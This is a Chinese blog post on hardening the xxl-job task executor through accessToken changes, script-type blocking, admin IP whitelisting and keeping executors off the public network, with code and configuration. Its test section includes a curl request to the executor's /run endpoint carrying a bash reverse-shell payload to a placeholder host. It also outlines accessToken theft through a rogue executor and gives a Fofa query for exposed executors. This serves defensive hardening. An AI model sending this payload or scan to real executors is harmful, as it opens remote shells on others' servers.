前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >安全为先:xxl-job执行器安全改造

安全为先:xxl-job执行器安全改造

作者头像
叔牙
发布2024-12-30 12:15:39
发布2024-12-30 12:15:39
12210
代码可运行
举报
运行总次数:0
代码可运行

微信公众号:PersistentCoder关注可了解更多的教程。问题或建议,请公众号留言。

一、背景介绍

xxl-job分布式任务调度,分为调度中心和调度执行器,调度中心也就是xxl-job-admin负责调度任务的管理和触发,调度执行器一般由业务服务引入依赖按照规范实现响应的任务逻辑,主要是被动接收调度中心的指令触发本机业务逻辑的执行。

前边有文章介绍,如果控制台部署到公网环境,并且由于弱口令、漏洞等问题,导致控制台被拿下,使用了默认的accessToken或者由于控制台被拿下的原因,导致自定义的accessToken被窃取,那么调度执行器机器很容易遭受攻击。

另外之前也有文章介绍,如果拿下了控制台,并且能够出网的情况下,很容易窃取accessToken:

  1. 通过弱口令或者其他漏洞,拿到控制台操作权限
  2. 在控制台添加任务执行器,并且手动注册执行器ip为外部攻击者服务器
  3. 在攻击者服务器启动http服务监听对应端口,并且开放端口公网访问能力
  4. 在控制台选择执行器并创建任务,然后手动触发任务,由于accessToken是放到header中明文传输,所以在攻击机上很容易拿到xxl-job-admin传过来的accessToken

这样用户自定义过的accessToken就被拿到了,在xxl-job-executor机器防火墙和端口限制不严格的情况下,攻击者就可以模拟xxl-job-admin的任务触发调用,使用窃取到的accessToken请求/run接口,执行脚本任务,那么executor就能够被bash反弹拿下了。

有人会说上一篇文章中有聊到,xxl-job控制台不是已经做过安全升级,并且可以禁用或者限制脚本类型的任务了吗?是的,但是调度中心和调度执行器是两个不同的个体,并且是分开部署的,xxl-job控制台安全了并不代表任务执行器安全了,就以任务类型的限制来说,控制台只负责任务的管理和触发,具体调用到xxl-job-executor中,任务参数、类型等合法性检查是由任务执行器一方来负责,从代码维度来说,也就是在xxl-job-core里边来实现的。

那么基于xxl-job-core的安全改造主要从以下几点展开:

  • 改掉默认accessToken
  • 禁用或者限制任务类型
  • 对任务执行调用方,也就是xxl-job-admin的ip加白
  • 限制或禁止公网通信

二、安全升级改造

1.修改默认accessToken

accessToken的修改依赖于xxl-job-admin对于accessToken的定义和修改,控制台修改之后拿来用即可。

2.禁用或者限制任务类型

在XxlJobExecutor中添加allowScript是否允许脚本任务属性,并设置get/set方法:

代码语言:javascript
代码运行次数:0
复制
private boolean allowScript;
public boolean isAllowScript() {
    return allowScript;
}
public void setAllowScript(boolean allowScript) {
    this.allowScript = allowScript;
}

修改start方法,初始化内嵌web服务时传入allowScript:

修改initEmbedServer,根据allowScript在内嵌server启动时传入是否允许脚本任务:

代码语言:javascript
代码运行次数:0
复制
private void initEmbedServer(boolean allowScript,String adminIp,String address, String ip, int port, String appname, String accessToken) throws Exception {
    // fill ip port
    port = port>0?port: NetUtil.findAvailablePort(9999);
    ip = (ip!=null&&ip.trim().length()>0)?ip: IpUtil.getIp();
    // generate address
    if (address==null || address.trim().length()==0) {
        String ip_port_address = IpUtil.getIpPort(ip, port);   // registry-address:default use address to registry , otherwise use ip:port if address is null
        address = "http://{ip_port}/".replace("{ip_port}", ip_port_address);
    }
    // accessToken
    if (accessToken==null || accessToken.trim().length()==0) {
        logger.warn(">>>>>>>>>>> xxl-job accessToken is empty. To ensure system security, please set the accessToken.");
    }
    // start
    embedServer = new EmbedServer();
    embedServer.start(allowScript,adminIp,address, port, appname, accessToken);
}

内嵌server启动时初始化ExecutorBiz并传入allowScript:

执行任务会调用ExecutorBiz的run方法,run方法逻辑会对任务类型做合法性校验,我们根据传入的allowScript来实现对任务类型的限制:

代码语言:javascript
代码运行次数:0
复制
@Override
public ReturnT<String> run(TriggerParam triggerParam) {
    //...省略...
    // valid:jobHandler + jobThread
    GlueTypeEnum glueTypeEnum = GlueTypeEnum.match(triggerParam.getGlueType());
    if (GlueTypeEnum.BEAN == glueTypeEnum) {
        //...省略...
    } else if (GlueTypeEnum.GLUE_GROOVY == glueTypeEnum && allowScript) {
        //...省略...
    } else if (glueTypeEnum!=null && glueTypeEnum.isScript() && allowScript) {
        //...省略...
    } else {
        return new ReturnT<String>(ReturnT.FAIL_CODE, "glueType[" + triggerParam.getGlueType() + "] is not valid.");
    }
  }

这里就通过用户配置的是否允许脚本任务,在任务执行器维度对调度任务类型做了限制。

3.对xxl-job-admin的ip加白

同样在XxlJobExecutor中添加adminIp来定义调度中心的ip白名单,多个ip逗号隔开,为空则没有此白名单限制,并设置get/set方法:

代码语言:javascript
代码运行次数:0
复制
private String adminIp;
public String getAdminIp() {
    return adminIp;
}
public void setAdminIp(String adminIp) {
    this.adminIp = adminIp;
}

修改start方法,初始化内嵌web服务时传入adminIp:

和前边限制任务类型一样,修改initEmbedServer,在内嵌server启动时传入控制台ip白名单:

EmbedServer的start方法会启动一个netty服务,并添加EmbedHttpServerHandler作为请求处理器:

创建EmbedHttpServerHandler时传入了调度中心ip白名单,此Handler是一个SimpleChannelInboundHandler,处理请求时会调用channelRead0方法:

代码语言:javascript
代码运行次数:0
复制
@Override
protected void channelRead0(final ChannelHandlerContext ctx, FullHttpRequest msg) throws Exception {
    // request parse
    //final byte[] requestBytes = ByteBufUtil.getBytes(msg.content());
    String requestData = msg.content().toString(CharsetUtil.UTF_8);
    String uri = msg.uri();
    HttpMethod httpMethod = msg.method();
    boolean keepAlive = HttpUtil.isKeepAlive(msg);
    String accessTokenReq = msg.headers().get(XxlJobRemotingUtil.XXL_JOB_ACCESS_TOKEN);
    InetSocketAddress inetSocketAddress = (InetSocketAddress) ctx.channel().remoteAddress();
    String adminIp = inetSocketAddress.getAddress().getHostAddress();
    // invoke
    bizThreadPool.execute(new Runnable() {
        @Override
        public void run() {
            // do invoke
            Object responseObj = process(httpMethod, uri, requestData, accessTokenReq,adminIp);
            // to json
            String responseJson = GsonTool.toJson(responseObj);
            // write response
            writeResponse(ctx, keepAlive, responseJson);
        }
    });
}

改造channelRead0方法,在处理业务逻辑调用process方法传入调用方的ip,此时EmbedHttpServerHandler已经持有调度中心的ip白名单集合。

修改process方法,根据调度中心ip白名单检查请求调用方ip是否在ip白名单,如果在白名单则允许调用,否则拒绝处理:

需要注意的是,如果没有配置调度中心ip白名单,认为是不做白名单限制,限制如下:

  • 如果没有配置调度中心ip白名单,则不做限制
  • 如果配置了调度中心ip白名单,并且请求ip不在白名单,则拒绝处理
  • 如果配置了调度中心ip白名单,并且请求ip在白名单,则正常处理请求
4.禁止公网调用

根据前边所描述,xxl-job任务执行器是业务服务引入xxl-job-core之后,启动的时候启动了一个内嵌的netty服务来处理来自任务调度中心的http请求,netty服务默认监听9999端口,如果端口暴露在了公网,很容易被网络空间搜索引擎扫描到,比如扫Fofa搜索:

代码语言:javascript
代码运行次数:0
复制
body="{"code":500,"msg":"invalid request, HttpMethod not support."}" && port="9999"

然后就可以使用默认accessToken尝试调用run接口了,或者使用工具进行扫描测试了:

所以如果把任务执行器部署在内网环境,回调端口通过内网对调度中心开放,就不存在上述问题了。

三、使用方式

如果对xxl-job有一定研究并且具备二开能力,建议自行拉取代码进行改造,如果不想自己开发改造,那么我是专业为“懒人”服务的,我已经改造好并且把jar发布到公共仓库了,直接引用按照规范使用即可。

1.引入依赖

引入依赖或者说替换掉原来的xxl-job-core依赖:

代码语言:javascript
代码运行次数:0
复制
<dependency>
    <groupId>io.github.scorpioaeolus</groupId>
    <artifactId>xxl-job-core</artifactId>
    <version>1.0.3.RELEASE</version>
</dependency>

这个版本是基于官方xxl-job 2.5.0版本的代码改造的,如果出现版本兼容问题,请不要勉强使用。

2.添加相关配置

xxl-job相关的配置继续保留:

代码语言:javascript
代码运行次数:0
复制
### xxl-job admin address list, such as "http://address" or "http://address01,http://address02"
xxl.job.admin.addresses=http://192.168.1.8:8080/xxl-job-admin
### xxl-job executor appname
xxl.job.executor.appname=xxl-job-executor-sample
### xxl-job executor registry-address: default use address to registry , otherwise use ip:port if address is null
xxl.job.executor.address=
### xxl-job executor server-info
xxl.job.executor.ip=
xxl.job.executor.port=9999
### xxl-job executor log-path
xxl.job.executor.logpath=./data/applogs/xxl-job/jobhandler
### xxl-job executor log-retention-days
xxl.job.executor.logretentiondays=30

另外根据xxl-job-admin配置的自定义accessToken,设置accessToken,以及添加安全改造的相关配置:

代码语言:javascript
代码运行次数:0
复制
### xxl-job, access token
xxl.job.accessToken=xxxxef89aghiayhi4ddagayey
# xxl-job-admin ip白名单,多个用英文逗号隔开
xxl.job.admin.ip=192.168.1.8,192.168.1.26
# 是否允许脚本任务,默认false
job.allow.script=false
3.测试验证

引入依赖并添加相关配置之后,启动业务服务进行验证。

触发脚本任务:

本机启动xxl-job-admin和xxl-job-executor,直接从本机模拟调度中心发送触发任务指令:

代码语言:javascript
代码运行次数:0
复制
curl -X POST http://127.0.0.1:9999/run \
-H "Host: 127.0.0.1:9999" \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-H "XXL-JOB-ACCESS-TOKEN: uqCkJP#xB4mmiPZ3WIVvO9sQP78aX" \
-d '{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "bash -i >& /dev/tcp/xxxx/2333 0>&1",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}'

从调用结果来看,我们对xxl-job-core的安全改造生效,由于配置了不允许脚本任务,所以任务执行器拒绝执行任务并返回报错。

控制台触发任务:

模拟从控制台发送触发任务指令:

代码语言:javascript
代码运行次数:0
复制
curl -X POST http://127.0.0.1:9999/run \
-H "Host: 127.0.0.1:9999" \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-H "XXL-JOB-ACCESS-TOKEN: uqCkJP#xB4mmiPZ3WIVvO9sQP78aX" \
-d '{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "BEAN",
  "glueSource": "",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}'

通过了ip白名单限制,也通过了任务类型的限制。

攻击机触发任务:

随便找一台云服务器(或者没有做ip加白的机器),模拟发送调度中心任务触发指令,直接把本机ip从白名单中踢掉即可:

不用验证任务类型的限制,控制台ip白名单的限制在任务类型校验之前,这里请求也被拦截,说明ip白名单限制生效。

四、总结

本篇文章介绍了基于xxl-job分布式调度平台任务执行器的安全升级改造,回过来想一下,无论是控制台还是任务执行器,如果都部署在内网环境,所有的网络通信也都基于内网来完成,那么还会有这些安全问题吗?应该能够解决绝大多数安全问题,在关键的公网网关或者公网接入点做好严格防护,应该都不存在上述的安全问题。但是事情往往是有矛盾点的,研发能力强、规模大的公司瞧不上这个开源工具或者基本都是自研,而中小团队可能都没有专业的运维去做内网环境的建设(成本和资源问题),当然换个角度来看,这也是推动这些开源工具发展的重要支撑点,没有这些小团队使用不会爆出那么多漏洞,没有漏洞更不会有持续性的更新迭代。

总之对于开源工具和框架的态度就是像我们现代人看历史一样,“取其精髓,去其糟粕”。

参考

https://www.xuxueli.com/xxl-job/

https://github.com/xuxueli/xxl-job/

https://github.com/ScorpioAeolus/xxl-job

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-12-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 PersistentCoder 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、背景介绍
  • 二、安全升级改造
    • 1.修改默认accessToken
    • 2.禁用或者限制任务类型
    • 3.对xxl-job-admin的ip加白
    • 4.禁止公网调用
  • 三、使用方式
    • 1.引入依赖
    • 2.添加相关配置
    • 3.测试验证
  • 四、总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档